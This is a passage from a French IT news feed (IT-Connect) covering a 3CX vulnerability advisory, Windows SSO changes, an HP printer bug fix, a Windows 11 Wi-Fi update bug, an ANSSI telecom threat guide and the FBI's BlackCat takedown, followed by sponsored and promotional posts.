<li><a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/bdd/" target="_blank" rel="noopener" title="Base de données" data-wpil-keyword-link="linked">Base de données</a> MongoDB</li>



<li>Base de données MsSQL</li>



<li>Base de données MySQL</li>



<li>Base de données PostgreSQL</li>
</ul>



<p>Par ailleurs, vous devez <strong>utiliser une version affectée</strong> par cette vulnérabilité, à savoir<strong> les versions 18 et 20 de la solution 3CX</strong>. La version 20 étant la future version majeure, en cours de finalisation.</p>



<p>"<em>Par mesure de précaution, et pendant que nous travaillons sur une solution pour réactiver cette intégration en toute sécurité, veuillez suivre les instructions ci-dessous pour la désactiver.</em>", précise 3CX dans son bulletin de sécurité. Si vous pensez être concerné, vous êtes invité à consulter l'article en question pour suivre la procédure fournie par l'éditeur. Ceci revient à ajuster les options de la section "CRM". <strong>Il est à noter que les intégrations CRM basées sur le web ne sont pas concernées. </strong></p>



<p>Pendant en temps, des investigations sont en cours du côté de 3CX et un correctif sera certainement disponible dans les prochains jours. Sans surprise, aucun détail technique n'a été fourni.</p>



<p><a href="https://www.securityweek.com/3cx-urges-customers-to-disable-integration-due-to-potential-vulnerability/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/3cx-demande-a-ses-utilisateurs-de-desactiver-cette-integration-a-cause-dune-faille-potentielle/">3CX demande à ses utilisateurs de désactiver cette intégration, à cause d’une faille potentielle !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73486
title: Digital Asset Management : que faut-il savoir ?
uri: Digital-Asset-Management-que-faut-il-savoir
url: https://www.it-connect.fr/digital-asset-management-que-faut-il-savoir/
content:
<p><strong>Vous vous demandez ce qu'est le Digital Asset Management (DAM) ? Il s'agit d'une technologie permettant de stocker, d'organiser et de partager des données numériques. </strong>De la gestion de vos photos, vidéos, à l'optimisation de vos fichiers créatifs, le DAM offre une solution centralisée pour toutes vos ressources numériques. Nous ne vous en disons pas plus et nous vous laissons en découvrir plus dans notre article du jour. Bonne lecture ! </p>



<h2 class="wp-block-heading">La définition du Digital Asset Management</h2>



<p>Le Digital Asset Management (<a href="https://www.galilee.fr/qu-est-ce-que-le-digital-asset-management-dam/" title="">DAM</a>) est un outil technique qui sert à gérer les actifs numériques d’une entreprise. Ces actifs peuvent être des images, des vidéos, des fichiers audio, des documents et autres types de contenu numérique. Le DAM permet de stocker, classer et rendre facilement accessibles ces actifs, depuis une source unique de vérité. </p>



<p>Le DAM est plus qu'un simple espace de stockage : c'est une plateforme qui optimise la gestion et la distribution des contenus numériques, facilitant ainsi leur utilisation dans le domaine du marketing et de la communication. Il améliore l'efficacité, la sécurité et l'accessibilité de ces actifs numériques. </p>



<p>Le DAM peut également être appelé médiathèque ou <em>media center</em>, et il est essentiel dans le cadre de la transition numérique des entreprises. Il répond aux besoins de fluidification des échanges en toute sécurité, et il est un reflet de la nouvelle façon de gérer les informations dans l'ère du numérique. </p>



<h2 class="wp-block-heading">Le rôle du Digital Asset Management</h2>



<p>Dans le contexte de la transformation numérique, le DAM joue un rôle pivot. Au-delà de la simple gestion des actifs numériques, le DAM facilite l'adaptation aux nouvelles méthodes de travail impliquées par le digital. Cette plateforme offre une centralisation des ressources, optimisant ainsi les processus et favorisant une communication efficiente en temps réel. </p>



<p>Cette technologie permet également d'automatiser certaines tâches, libérant du temps pour des activités à plus forte valeur ajoutée. Notez aussi que le DAM facilite l'accès aux informations, indépendamment des contraintes géographiques, rendant possible une collaboration efficace à une échelle internationale. </p>



<p>Par ailleurs, le DAM se révèle être un outil clé dans la mise en place d'une stratégie de marketing digital. Grâce à une gestion optimisée des actifs numériques, les entreprises peuvent mieux répondre aux attentes en constante évolution de leurs clients. </p>



<h2 class="wp-block-heading">Les bénéfices du Digital Asset Management</h2>



<p>Le Digital Asset Management (DAM) offre une multitude de bénéfices pour les entreprises de toutes tailles. </p>



<p>Parmi ses avantages, nous pouvons relever qu’il améliore considérablement l'efficacité opérationnelle en permettant un accès rapide et facile aux actifs numériques. Les équipes peuvent ainsi gagner du temps en évitant les recherches fastidieuses de fichiers, ce qui se traduit par une productivité accrue. </p>



<p>En plus de l’amélioration de l’efficacité, le DAM renforce la collaboration au sein de l'entreprise en facilitant le partage et la collaboration sur les actifs numériques. Les équipes peuvent travailler de manière plus efficace et créative, que ce soit en interne ou avec des partenaires externes. </p>



<p>La cohérence de la marque est également un avantage clé du DAM. En stockant des actifs approuvés et à jour, il garantit que les ressources numériques utilisées sont conformes aux directives de la marque, renforçant ainsi la reconnaissance de la marque. </p>



<p>Notez également que le DAM réduit les risques juridiques en permettant de gérer les droits d'auteur, les licences et la conformité légale. Cela diminue les possibilités de litiges juridiques liés à l'utilisation des actifs numériques. </p>



<p>Nous pouvons aussi affirmer que le DAM permet une meilleure analyse et prise de décision en suivant l'utilisation des actifs numériques. Les données collectées fournissent des informations précieuses pour affiner la stratégie marketing et de communication, aidant ainsi les entreprises à prendre des décisions plus éclairées. </p>



<p>En résumé, le Digital Asset Management offre des avantages significatifs pour la gestion efficace des actifs numériques au sein des entreprises. </p>



<h2 class="wp-block-heading">L’avenir du Digital Asset Management</h2>



<p>L'avenir du Digital Asset Management (DAM) s’annonce prometteur, marqué par l'évolution constante de la technologie et des besoins des entreprises. Les DAM deviennent de plus en plus essentiels pour la gestion efficace des actifs numériques, car la quantité de données augmente rapidement. </p>



<p>Les tendances futures comprennent notamment l'intégration de l'intelligence artificielle pour faciliter la recherche et la classification automatique des actifs, se faisant de plus en plus présente dans notre quotidien. Les DAM seront de plus en plus orientés vers l'expérience utilisateur, offrant une convivialité accrue et des fonctionnalités de collaboration en temps réel. </p>



<p>L'expansion du DAM en dehors du domaine du marketing vers d'autres secteurs tels que la santé, l'éducation et la finance est également à prévoir. La gestion des droits numériques et la sécurité resteront des priorités, en particulier dans un contexte de réglementation croissante sur la confidentialité des données. </p>



<p>Il est également fort probable que les DAM s'intégreront de manière transparente aux autres systèmes d'entreprise, créant une solution plus holistique pour la gestion de contenu et d'actifs numériques. L'avenir du DAM sera donc marqué par l'innovation continue, la convergence des technologies et une plus grande pertinence dans divers secteurs d'activité.</p>



<p>Nous espérons vous avoir fourni les informations nécessaires sur les DAM, afin que vous distinguiez clairement leurs enjeux. Nous vous invitons à approfondir vos connaissances quant à ce sujet si ces technologies vous intéressent !</p>



<p><em>Article sponsorisé.</em></p><p>The post <a href="https://www.it-connect.fr/digital-asset-management-que-faut-il-savoir/">Digital Asset Management : que faut-il savoir ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73746
title: Sous Windows, l’expérience d’authentification aux services Microsoft va évoluer pour les européens
uri: Sous-Windows-l-expérience-d-authentification-aux-services-Micros
url:
https://www.it-connect.fr/sous-windows-lexperience-dauthentification-aux-services-microsoft-va-evoluer-pour-les-europeens/

content:
<p><strong>Début 2024, Microsoft va modifier le processus d'authentification à ses services et applications sur Windows 10 et Windows 11 de manière à se mettre en conformité avec la législation Digital Markets Act (DMA) mise en place par la Commission européenne. Voici ce qui va changer...</strong></p>



<p>Depuis le 2 mai 2023, le<em> Digital Markets Act </em>(DMA) ou la législation sur les marchés numériques en français, est en vigueur. Le DMA oblige certains éditeurs, dont Microsoft, à modifier le comportement de leurs produits et services pour se mettre en conformité. L'objectif étant d'apporter plus de sécurité aux utilisateurs et de leur offrir plus de choix, notamment pour respecter la concurrence. </p>



<p>Il y a quelques mois, toujours dans le but d'être conforme au DMA, Microsoft avait dû adapter ses offres d'abonnements pour Microsoft 365 <a href="https://www.it-connect.fr/en-europe-les-abonnements-microsoft-365-vont-etre-vendus-avec-ou-sans-microsoft-teams/" target="_blank" rel="noopener" title="En Europe, les abonnements Microsoft 365 vont être vendus avec ou sans Microsoft Teams">afin de proposer des abonnements sans Microsoft Teams</a> (ce service devient une option).</p>



<h2 class="wp-block-heading">Ce qui va changer en 2024...</h2>



<p><strong>Sous Windows 10 et Windows 11, c'est l'authentification SSO dont bénéficient les services et les applications Microsoft qui va évoluer. </strong>Actuellement, lorsqu'un compte Microsoft est utilisé pour se connecter à sa session Windows, il est possible de le réutiliser de façon transparente dans les autres applications et services de l'entreprise américaine. Ainsi, l'authentification est transparente. Ceci va changer...</p>



<p>En effet, lors de la première connexion à un service ou une application Microsoft, une nouvelle fenêtre s'affichera. Dans <a href="https://techcommunity.microsoft.com/t5/windows-it-pro-blog/upcoming-changes-to-windows-single-sign-on/ba-p/4008151?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">cet article</a>, Microsoft précise : "<em>Cet avis demande aux utilisateurs s'ils souhaitent se connecter à l'application avec les mêmes informations d'identification que celles utilisées pour se connecter à Windows. L'avis informe également les utilisateurs que lorsqu'ils se connectent, Microsoft utilisera ces mêmes informations d'identification pour se connecter à d'autres applications Microsoft fonctionnant sous Windows.</em>"</p>



<p><strong>Cet avertissement permet à l'utilisateur d'avoir le choix et il n'apparaitra qu'une seule fois (par périphérique) </strong>: "<em>Si l'utilisateur choisit d'utiliser les mêmes informations d'identification que celles qu'il a utilisées pour se connecter à Windows, cette notification n'apparaîtra plus.</em>", précise Microsoft. Il y a tout de même une exception : si l'utilisateur ne se connecte pas à son compte pendant 90 jours, l'avertissement sera de nouveau affiché. Si l'utilisateur refuse de poursuivre avec son compte Windows, il pourra choisir avec quels identifiants il souhaite s'authentifier à l'application.</p>



<p>Microsoft précise que<strong> les entreprises ne pourront pas supprimer cet avertissement via la configuration de Microsoft Entra</strong>. Il s'agit d'une mise en conformité et Microsoft doit s'assurer que tout le monde en bénéficie.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="391" src="media/6e37e352.Nouvelle-experience-SSO-Microsoft-pour-2024.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Nouvelle-experience-SSO-Microsoft-pour-2024.jpg" alt="" class="wp-image-73750" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Nouvelle-experience-SSO-Microsoft-pour-2024.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Nouvelle-experience-SSO-Microsoft-pour-2024-550x269.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Nouvelle-experience-SSO-Microsoft-pour-2024-150x73.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Nouvelle-experience-SSO-Microsoft-pour-2024-768x375.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Nouvelle-experience-SSO-Microsoft-pour-2024-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : techcommunity.microsoft.com</figcaption></figure>



<p>Vous pouvez tester ce changement dès à présent via <strong>Windows 11 (Build 2631.2787) </strong>accessible via le programme<strong> Windows Insiders</strong>. Microsoft va commencer à déployer ce changement en janvier 2024 et tous les utilisateurs européens y auront le droit d'ici fin mars 2024. Sachez que ceci s'applique uniquement à Windows 10 et Windows 11. <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/" target="_blank" rel="noopener" title="Windows Server" data-wpil-keyword-link="linked">Windows Server</a> n'est pas concerné.</p>



<p><a href="https://www.phonandroid.com/windows-la-connexion-a-son-compte-microsoft-va-changer-en-europe.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/sous-windows-lexperience-dauthentification-aux-services-microsoft-va-evoluer-pour-les-europeens/">Sous Windows, l’expérience d’authentification aux services Microsoft va évoluer pour les européens</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73764
title: Windows et le bug des imprimantes HP : voici la solution de Microsoft (à appliquer vous-même)
uri: Windows-et-le-bug-des-imprimantes-HP-voici-la-solution-de-Microsoft
url: https://www.it-connect.fr/windows-solution-bug-des-imprimantes-hp-decembre-2023/
content:
<p><strong>Depuis début décembre, les utilisateurs de Windows 10, Windows 11 et Windows Server sont confrontés à un bug plutôt gênant : toutes les imprimantes sont renommées en HP LaserJet M101-M106 et l'application HP Smart s'installe toute seule. Voici la solution proposée par Microsoft !</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/bug-windows-imprimantes-renommees-hp-laserjet-m101-106-que-faire/" target="_blank" rel="noopener" title="">Ce bug sous Windows renomme toutes les imprimantes en "HP LaserJet M101-M106" : que se passe-t-il ?</a></li>
</ul>



<p>Microsoft vient d'apporter une solution à un problème gênant qui affecte les utilisateurs de Windows depuis près de deux semaines. En effet, certains utilisateurs ont constaté des choses étonnantes sur leur machine :</p>



<ul>
<li><strong>L'application HP Smart est présente sur leur machine</strong> alors qu'ils n'ont pas d'imprimante HP à la maison ou au bureau, et qu'ils n'ont jamais installé cette application. </li>



<li><strong>Toutes les imprimantes sont renommées en "HP LaserJet M101-M106"</strong>, que ce soit des imprimantes HP ou d'autres marques ! </li>



<li>Lors d'un double-clic sur une imprimante, le message d'erreur "<strong>Aucune tâche n'est disponible pour cette page</strong>" s'affiche.</li>
</ul>



<p>Bien que ceci n'empêche pas d'imprimer, c'est tout de même perturbant...</p>



<h2 class="wp-block-heading">La solution de Microsoft</h2>



<p>Désormais,<strong> Microsoft estime que ce problème est résolu</strong>. Toutefois, vous allez devoir <strong>effectuer la réparation vous-même </strong>à l'aide d'<strong>un outil </strong>mis à disposition par l'entreprise américaine. En effet, il s'agit d'un nouvel outil de dépannage nommé "<strong>PrintMetadataTroubleshooterX86.exe</strong>" créé pour l'occasion et disponible pour les machines 32 bits, 64 bits et ARM32.</p>



<p>Attention, il s'agit d'<strong>un outil qui nécessite des droits administrateur pour fonctionner, voire même des droits SYSTEM local.</strong> Pour les particuliers, qui gèrent eux-mêmes leurs imprimantes, Microsoft recommande de l'exécuter à partir d'une Invite de commande ouverte en tant qu'administrateur. </p>



<p>En entreprise, Microsoft évoque<strong> l'utilisation d'une tâche planifiée ou de <a href="https://www.it-connect.fr/psexec-un-outil-incontournable-pour-les-sysadmins/" target="_blank" rel="noopener" title="PsExec : un outil incontournable pour les sysadmins">PsExec</a> </strong>pour exécuter l'outil avec le compte <strong>SYSTEM </strong>: "<em>Lorsqu'il est exécuté par des administrateurs d'entreprise, la correction des imprimantes pour tous les utilisateurs et toutes les sessions d'un système nécessite l'exécution de l'outil en tant que compte système local.</em>", peut-on lire.</p>



<p>Ensuite, <strong>cet outil va effectuer du nettoyage sur votre machine et tout remettre en ordre</strong> : "<em>Cet outil passe en revue les informations de vos imprimantes. Il restaure toutes les icônes et informations de modèle précédemment téléchargées et supprime les informations et icônes du modèle <strong>HP LaserJet M101-M106</strong> sur les imprimantes qui ne correspondent pas à ce nom et à ce modèle.</em>", précise<a href="https://support.microsoft.com/fr-fr/topic/kb5034510-outil-de-r%C3%A9solution-des-probl%C3%A8mes-de-m%C3%A9tadonn%C3%A9es-d-imprimante-microsoft-d%C3%A9cembre-2023-b3197f24-fd25-430d-96d2-70f2044ce6a1" target="_blank" rel="noopener nofollow" title=""> la page de l'outil</a>. <strong>L'application HP Smart sera également désinstallée de la machine.</strong></p>



<p>Microsoft précise que <strong>ce bug n'affecte pas seulement Windows 10 et Windows 11</strong>. En effet, toutes les versions de Windows Server entre <strong>Windows Server 2012 et Windows Server 2022</strong> sont affectées.</p>



<p><a href="https://learn.microsoft.com/en-us/windows/release-health/status-windows-11-22h2#3218msgdesc?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/windows-solution-bug-des-imprimantes-hp-decembre-2023/">Windows et le bug des imprimantes HP : voici la solution de Microsoft (à appliquer vous-même)</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73757
title: Windows 11 (KB5033375) : la mise à jour de décembre casse la connexion à certains réseaux Wi-Fi !
uri: Windows-11-(KB5033375)-la-mise-à-jour-de-décembre-casse-la-connexi
url:
https://www.it-connect.fr/windows-11-kb5033375-la-mise-a-jour-de-decembre-casse-la-connexion-a-certains-reseaux-wi-fi/

content:
<p><strong>D'après les signalements de nombreux utilisateurs, la mise à jour KB5033375 pour Windows 11 empêche le système d'exploitation de se connecter à certains réseaux Wi-Fi. Voici ce que l'on sait sur ce nouveau bug !</strong></p>



<p>Depuis le <strong>mardi 12 décembre 2023</strong>, la mise à jour <strong>KB5033375 </strong>est disponible pour tous les utilisateurs de Windows 11. En effet, il s'agit de la toute dernière mise à jour cumulative publiée par Microsoft. </p>



<ul>
<li><a href="https://www.it-connect.fr/windows-11-kb5033375-mise-a-jour-decembre-2023/" target="_blank" rel="noopener" title="KB5033375 : le point sur la mise à jour Windows 11 de décembre 2023">En savoir plus sur la mise à jour KB5033375 de Windows 11</a></li>
</ul>



<p>Le problème, c'est qu'elle serait à l'origine d'un nouveau bug gênant pour les utilisateurs puisqu'ils <strong>ne parviennent plus à se connecter à certains réseaux Wi-Fi</strong>. Autrement dit, <strong>Windows refuse de se connecter à votre réseau sans-fil habituel</strong>. </p>



<p>Il y a plusieurs fils de discussions à ce sujet, notamment sur <a href="https://www.reddit.com/r/technology/comments/18kwg5g/windows_11_kb5033375_december_2023_update_breaks/?rdt=62434" target="_blank" rel="noopener nofollow" title="">Reddit</a>, sur X (ex-Twitter), mais aussi sur le<a href="https://answers.microsoft.com/en-us/windows/forum/all/windows-update-kb5033375-causing-wifi-connectivity/228829a0-e9ac-48af-8ed1-27ac3a65213f" target="_blank" rel="noopener nofollow" title=""> forum Microsoft</a>. "<em>Nous venons de mettre à jour nos ordinateurs portables Dell avec la mise à jour Windows KB5033375 de décembre. Au redémarrage, il n'est plus possible de se connecter à notre réseau WPA2 Enterprise. Nous avons de l'Aruba ClearPass et des AP Aruba. Est-ce que quelqu'un d'autre a constaté ce problème ?</em>", peut-on sur <a href="https://www.reddit.com/r/k12sysadmin/comments/18hukqd/kb5033375_breaks_wifi/" target="_blank" rel="noopener nofollow" title="">Reddit</a>.</p>



<p>À première vue, <strong>ce bug impact la connexion aux réseaux Wi-Fi professionnels lorsque le "<em>fast-roaming</em>" (itinérance rapide) est activé sur le réseau.</strong> Ceci fait référence à la norme<strong> IEEE 802.11r </strong>connue également sous le nom de "<strong>Fast BSS Transition</strong>". Les particuliers ne sont pas réellement impactés par ce bug puisque la majorité des personnes utilisent le Wi-Fi de leur box.</p>



<p><strong>Pour le moment, Windows 10 semble épargné par ce bug ! </strong>Ce qui n'est pas le cas des utilisateurs de <strong>Windows 11 22H2</strong> et<strong> Windows 11 23H2</strong>. Nous ne savons pas non plus si ce bug affecte uniquement certaines marques de cartes Wi-Fi, ou si c'est un problème général. Pour l'instant, Microsoft ne s'est pas exprimé sur le sujet...</p>



<p>En attendant, la seule solution consiste à désinstaller la mise à jour "<a href="https://support.microsoft.com/en-us/topic/december-12-2023-kb5033375-os-builds-22621-2861-and-22631-2861-90f983aa-efb6-4caa-9cab-7e5cfa00ed36" target="_blank" rel="noopener nofollow" title="">KB5033375</a>" de votre ordinateur. En ligne de commande, vous devez exécuter cette commande :</p>



<pre class="wp-block-code"><code>wusa.exe /uninstall /kb:5033375</code></pre>



<p><strong>Avez-vous rencontré ce bug sur vos machines ?</strong></p>



<p><a href="https://www.bleepingcomputer.com/news/microsoft/decembers-windows-11-kb5033375-update-breaks-wi-fi-connectivity/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/windows-11-kb5033375-la-mise-a-jour-de-decembre-casse-la-connexion-a-certains-reseaux-wi-fi/">Windows 11 (KB5033375) : la mise à jour de décembre casse la connexion à certains réseaux Wi-Fi !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73791
title: Dans un nouveau guide, l’ANSSI s’intéresse aux menaces touchant le secteur des télécoms
uri: Dans-un-nouveau-guide-l-ANSSI-s-intéresse-aux-menaces-touchant-l
url:
https://www.it-connect.fr/dans-un-nouveau-guide-lanssi-sinteresse-aux-menaces-touchant-le-secteur-des-telecoms/

content:
<p><strong>L'ANSSI a mis en ligne un nouveau guide intitulé "État de la menace ciblant le secteur des télécommunications" qui revient en détail sur les menaces qui planent sur ce secteur, loin d'être épargné par les attaques.</strong></p>



<p>Sur les trois dernières années, l'ANSSI a été informée de plus de 150 incidents de sécurité ayant affecté des entités du secteur des télécommunications. "<em>Les deux tiers des événements recensés ont touché des entreprises stratégiques du secteur, dont une très grande part d’opérateurs régulés. Certains incidents ont entraîné un engagement opérationnel important de la part de l’ANSSI.</em>", précise le rapport.</p>



<p>D'après l'agence française, le secteur des télécommunications est ciblé par des attaques de différents types, notamment <strong>des attaques DDoS, </strong>visant à rendre indisponible tout ou partie de l'infrastructure d'un opérateur. <strong>La finalité de l'attaque étant la déstabilisation</strong>, alors que dans certains cas il y a <strong>un intérêt purement lucratif</strong> (notamment la fraude aux communications où les clients sont pris pour cible).</p>



<p>Toutefois,<strong> la menace la plus préoccupante, c'est l'espionnage</strong>. En effet, <strong>les opérateurs traitent énormément de données</strong>, ce qui attire les convoitises, notamment de certains groupes malveillants, chinois et iraniens, ainsi que des hacktivistes. Dans cet objectif, les cybercriminels n'hésitent pas à s'en prendre directement aux équipements réseau : "<em>Une hausse préoccupante de compromissions touchant des équipements, notamment des routeurs en cœur de réseau des opérateurs</em>".</p>



<h2 class="wp-block-heading">Les recommandations de l'ANSSI</h2>



<p>Au-delà de parler des menaces et des différentes attaques dans le détail, ce guide de l'ANSSI intègre son lot de recommandations sur<strong> un ensemble de thèmes</strong> : la sensibilisation (y compris du personnel technique !), les postes de travail, l'infrastructure, l'administration du système d'information, le maintien en conditions de sécurité, la journalisation et la détection. <strong>Au total, ce guide référence 35 recommandations différentes.</strong></p>



<p>Bien qu'il soit question du secteur des télécommunications, ce guide s'adresse à <strong>toutes les entreprises qui ont en charge la gestion d'un ou plusieurs réseaux locaux.</strong> En effet, l'ANSSI évoque l'importance de la <strong>segmentation du réseau</strong>, du <strong>filtrage entre les différentes zones</strong>, mais également la nécessité de bien <strong>cartographier son cœur de réseau</strong> "<em>afin d’en connaître les moindres détails, en particulier les interconnexions entre chaque zone de sensibilité et avec des systèmes tiers.</em>" Ceci est également l'occasion de rappeler aux opérateurs qu'il est essentiel de <strong>supprimer les accès d’administration via des interfaces exposées directement sur Internet.</strong></p>



<p>L'ANSSI aborde également des recommandations au sujet de l'administration du SI, de la sécurisation du service DNS, ainsi que la collecte et l'analyse des journaux d'événements afin de détecter les incidents de sécurité.</p>



<ul>
<li>Vous pouvez accéder à ce guide en <a href="media/b759e5e7.CERTFR-2023-CTI-010.pdf" data-original-source="https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-010.pdf" target="_blank" rel="noopener nofollow" title="">cliquant sur ce lien</a>.</li>
</ul><p>The post <a href="https://www.it-connect.fr/dans-un-nouveau-guide-lanssi-sinteresse-aux-menaces-touchant-le-secteur-des-telecoms/">Dans un nouveau guide, l’ANSSI s’intéresse aux menaces touchant le secteur des télécoms</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73784
uri: Le-FBI-met-à-l-arrêt-l-infrastructure-du-ransomware-BlackCat-et
title:
Le FBI met à l’arrêt l’infrastructure du ransomware BlackCat et déchiffre les données de 500 victimes !

url:
https://www.it-connect.fr/le-fbi-met-a-larret-linfrastructure-du-ransomware-blackcat-et-dechiffre-les-donnees-de-500-victimes/

content:
<p><strong>Le FBI, en coopération avec d'autres agences, est parvenu à s'introduire sur l'infrastructure du gang de ransomware ALPHV / BlackCat ! Un énorme coup qui a permis au FBI de surveiller les activités des cybercriminels, mais aussi d'obtenir des clés de déchiffrement pour aider les victimes !</strong></p>



<p>Le gang de ransomware <strong>ALPHV</strong>, connu également sous le nom de <strong>BlackCat</strong>, est bien <strong>mal en point</strong>. Ce n'est pas rien, car on parle de l'un des gangs les plus prolifiques et les plus actifs au monde !</p>



<p>En effet,<strong> le FBI a procédé à la mise hors ligne du "site vitrine" des cybercriminels</strong> : désormais un message s'affiche afin de préciser que le domaine (<em>accessible via le réseau Tor</em>) a été saisi par plusieurs agences gouvernementales. Sur ce coup, le FBI a été accompagné par Europol, mais aussi les services de police du Danemark, de l'Allemagne, du Royaume-Uni, des Pays-Bas, de l'Australie, de l'Espagne et de l'Autriche.</p>



<h2 class="wp-block-heading">68 millions de dollars "économisés"</h2>



<p>Aujourd'hui, le département de la justice des États-Unis a mis en ligne <a href="https://www.justice.gov/opa/pr/justice-department-disrupts-prolific-alphvblackcat-ransomware-variant" target="_blank" rel="noopener nofollow" title="">un rapport</a> qui fournit des détails au sujet de cette opération. Dans un premier temps, le FBI est parvenu à accéder à l'infrastructure des cybercriminels, ce qui a permis de<strong> surveiller silencieusement les cybercriminels, pendant plusieurs mois</strong> ! </p>



<p>Dans un second temps, ils ont pu récupérer les clés de déchiffrement utilisées au sein de cyberattaques dans le but de <strong>déchiffrer les données de plusieurs centaines de victimes</strong> : "<em>Le FBI a mis au point un outil de déchiffrement, qui a permis aux bureaux locaux du FBI présents dans tout le pays, et aux forces de l'ordre partenaires du monde entier, d'offrir à plus de 500 victimes affectées la possibilité de restaurer leurs systèmes.</em>", peut-on lire. Au total, on parle d'<strong>une économie équivalente à 68 millions de dollars en demandes de rançon</strong>. Un travail remarquable !</p>



<p>Par ailleurs, <strong>le FBI est parvenu à collecter 946 paires de clés publiques/privées étant associées à des sites Tor </strong>utilisés par le groupe de ransomware BlackCat dans le cadre de ses opérations. Ceci pouvait correspondre à des sites pour communiquer à des victimes, au site pour référencer les victimes, etc. "<em>Le FBI a enregistré ces paires de clés publiques/privées sur une clé USB.</em>", peut-on lire dans <a href="https://www.documentcloud.org/documents/24231386-blackcat-alphv-search-warrant" target="_blank" rel="noopener nofollow" title="">un autre document</a> publié au sujet de cette enquête.</p>



<p>Pour le ransomware ALPHV / BlackCat, c'est un énorme coup dur, notamment parce qu'il est proposé sous la forme d'un "<em>ransomware as a service</em>" : cela ne va pas rassurer les affiliés. En effet, <strong>ils peuvent craindre d'être repérés s'ils utilisent l'infrastructure mise à disposition par les cybercriminels...</strong> Pendant ce temps, c'est du côté de LockBit que l'on se frottent les mains...</p>



<p><a href="https://www.bleepingcomputer.com/news/security/fbi-disrupts-blackcat-ransomware-operation-creates-decryption-tool/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/le-fbi-met-a-larret-linfrastructure-du-ransomware-blackcat-et-dechiffre-les-donnees-de-500-victimes/">Le FBI met à l’arrêt l’infrastructure du ransomware BlackCat et déchiffre les données de 500 victimes !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73801
title: Les offres de Noël chez GoDeal24 : Office 2021 Pro à 25.25€, Windows 11 Pro à 13.25€
uri: Les-offres-de-Noël-chez-GoDeal24-Office-2021-Pro-à-25-25-Windo
url: https://www.it-connect.fr/bon-plan-licences-godeal24-windows-office-logiciels/
content:
<p><strong>Joyeux Noël ! Merry Christmas, de la part de notre partenaire GoDeal24 qui nous propose une nouvelle vente flash sur les licences : Office 2021 Pro est à 25.25€ tandis que Windows 11 Pro est à 13.25€ !</strong></p>



<p>Aujourd'hui, nous allons fêter Noël en avance : si vous envisagez de vous monter un PC pour Noël, ou de passer sur Windows 11, voire même sur la dernière version perpétuelle de Microsoft Office, voici l'opportunité d'acheter des licences à prix réduit ! Sachez que vous pouvez retrouver toutes les offres de cette vente flash sur <a href="https://fr.godeal24.com/merry-christmas-sale.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<p><strong><img src="media/39c692a3.2b50.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/2b50.png" alt="⭐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Microsoft Office, une nouvelle fois en tête d'affiche !</strong></p>



<ul>
<li><a href="https://fr.godeal24.com/microsoft-office-2021-pro-plus-key-1pc.html?g24=gole83" target="_blank" rel="noopener nofollow" title=""><strong>Office 2021 Pro Plus (1 PC)</strong></a> <strong>– 25.25€</strong></li>



<li><a href="https://fr.godeal24.com/2-office-2021-pro-plus-keys-pack.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Office 2021 Pro Plus (2 PC)</a> – 46.25€ (seulement 23.13€/PC)</li>



<li><a href="https://fr.godeal24.com/ms-office-2021-pro-plus-5pcs.html?g24=gole83" target="_blank" rel="noopener nofollow" title=""><strong>Office 2021 Pro Plus (5 PC)</strong></a><strong> –<a> 75.25€ </a>(seulement 15.05€/PC)</strong></li>



<li><a href="https://fr.godeal24.com/ms-office-2021-home-and-business-for-mac.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Office 2021 Home and Business for Mac</a> – 49.25€</li>



<li><a href="https://fr.godeal24.com/ms-office-2019-professional-plus-key-1pc.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Office 2019 Pro Plus (1 PC)</a> – 22.25€</li>



<li><a href="https://fr.godeal24.com/ms-office-2019-home-and-business-for-mac.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Office 2019 Home and Business for Mac</a> – 28.99€</li>
</ul>



<p><strong><img src="media/39c692a3.2b50.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/2b50.png" alt="⭐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Windows 10 ou Windows 11, au choix</strong></p>



<ul>
